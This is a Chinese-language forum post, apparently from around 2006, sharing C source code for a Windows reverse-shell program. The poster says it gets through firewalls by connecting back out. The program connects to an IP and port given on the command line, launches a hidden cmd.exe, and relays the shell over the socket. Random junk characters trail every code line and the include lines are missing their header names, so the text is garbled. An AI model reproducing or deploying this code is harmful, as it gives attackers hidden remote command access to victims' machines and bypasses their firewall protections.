社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5918阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 \ kY:|T  
P.k>6T<U>  
/* ============================== #PPHxh*S  
Rebound port in Windows NT U|.r -$|5P  
By wind,2006/7 EBk-qd a}  
===============================*/ y=+OC1k\8  
#include 7@e}rh?N-|  
#include ;o;ak.dTt  
[euR<i*I#  
#pragma comment(lib,"wsock32.lib") 9mn~57`y  
1 |) CQ  
void OutputShell(); l O*  
SOCKET sClient; /B 3\e3  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; l_9ZzN  
&Qj1uf92.  
void main(int argc,char **argv) 9C Ki$L  
{ ~@QAa (P.  
WSADATA stWsaData; m :~y:.  
int nRet; .X)Wb{7  
SOCKADDR_IN stSaiClient,stSaiServer; 5A 5t  
-#G>`T~  
if(argc != 3) ,Csjb1  
{ [h&s<<# D  
printf("Useage:\n\rRebound DestIP DestPort\n"); c=?6`m,"M  
return; i| ,}y`C#  
} YwZx{%f  
4s'%BM-r-  
WSAStartup(MAKEWORD(2,2),&stWsaData); L:?Ew9Lf  
/[/{m]  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $\1M"a}F  
rK}sQ4z=  
stSaiClient.sin_family = AF_INET; kD1Nq~h2  
stSaiClient.sin_port = htons(0); 1=9GV+`n  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); )a'`  
0 "TPY(n  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) =|empv#  
{ #)48dW!n  
printf("Bind Socket Failed!\n"); n_Y7*3/b-o  
return; UH+#Nel+!  
} qkp0'f*}  
x;} 25A|  
stSaiServer.sin_family = AF_INET; 31#jLWY'0  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 0Y0`$   
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); { ] 0T  
pStb j`Eq  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ei=u$S.  
{ m]Qs BK  
printf("Connect Error!"); :f_oN3F p  
return; 0yMHU[):~  
} mMWhUr  
OutputShell(); rFm?Bu  
} c(b`eUOO  
r~oUln<[  
void OutputShell() -ULgVGYKK  
{ ![vy{U.:`  
char szBuff[1024]; L*4= b (3  
SECURITY_ATTRIBUTES stSecurityAttributes; X_bB6A6  
OSVERSIONINFO stOsversionInfo; 8WpNlB+:{  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; \h0+` ;Q  
STARTUPINFO stStartupInfo; M%Vp_ 0  
char *szShell; Lc]hwMGR*  
PROCESS_INFORMATION stProcessInformation; dN:^RCFzS  
unsigned long lBytesRead; fk1d iB  
!Z{7X ^  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Vu4LC&q  
v^p* l0r6:  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); *u,xBC2C  
stSecurityAttributes.lpSecurityDescriptor = 0; lZ2g CZ  
stSecurityAttributes.bInheritHandle = TRUE; ]-a/)8  
/P46k4M1U  
I3sfOU  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); +<V$G/"  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ER[$TH&  
z^4+U n  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 5 I#-h<SG  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Iue=\qUK^  
stStartupInfo.wShowWindow = SW_HIDE; 2,Z@<  
stStartupInfo.hStdInput = hReadPipe; K$:btWSm  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; >){}nlQf  
M _cm,|FF  
GetVersionEx(&stOsversionInfo); 4@mJEi{  
Ik A~+6UY  
switch(stOsversionInfo.dwPlatformId) Al *yx_j  
{ 6L Fhhl^  
case 1: Uqj$itqUQ  
szShell = "command.com";  => Qd  
break; i=rA;2>  
default: ;yjw(OAI*  
szShell = "cmd.exe"; | "M1+(k7  
break; Ytqx 0  
} Hl{ul'o  
g_>E5z.  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); n? =O@yq  
cf"!U+x  
send(sClient,szMsg,77,0); OH]45bd &7  
while(1) Y<N#{)Q  
{ Kg /,  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); _Vt9ckaA  
if(lBytesRead) hM="9] i.  
{ MAX?,- x  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); KZ65# UVX  
send(sClient,szBuff,lBytesRead,0); /1.Z=@7  
} q%]5/.J  
else e~,+rM  
{ .>_%12>  
lBytesRead=recv(sClient,szBuff,1024,0); opzlh@R 3  
if(lBytesRead<=0) break; vJ 28A  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); XMxm2-%olP  
} W4(  
} f= }!c*l"  
**1=|aa:  
return; GlJOb|WOX  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五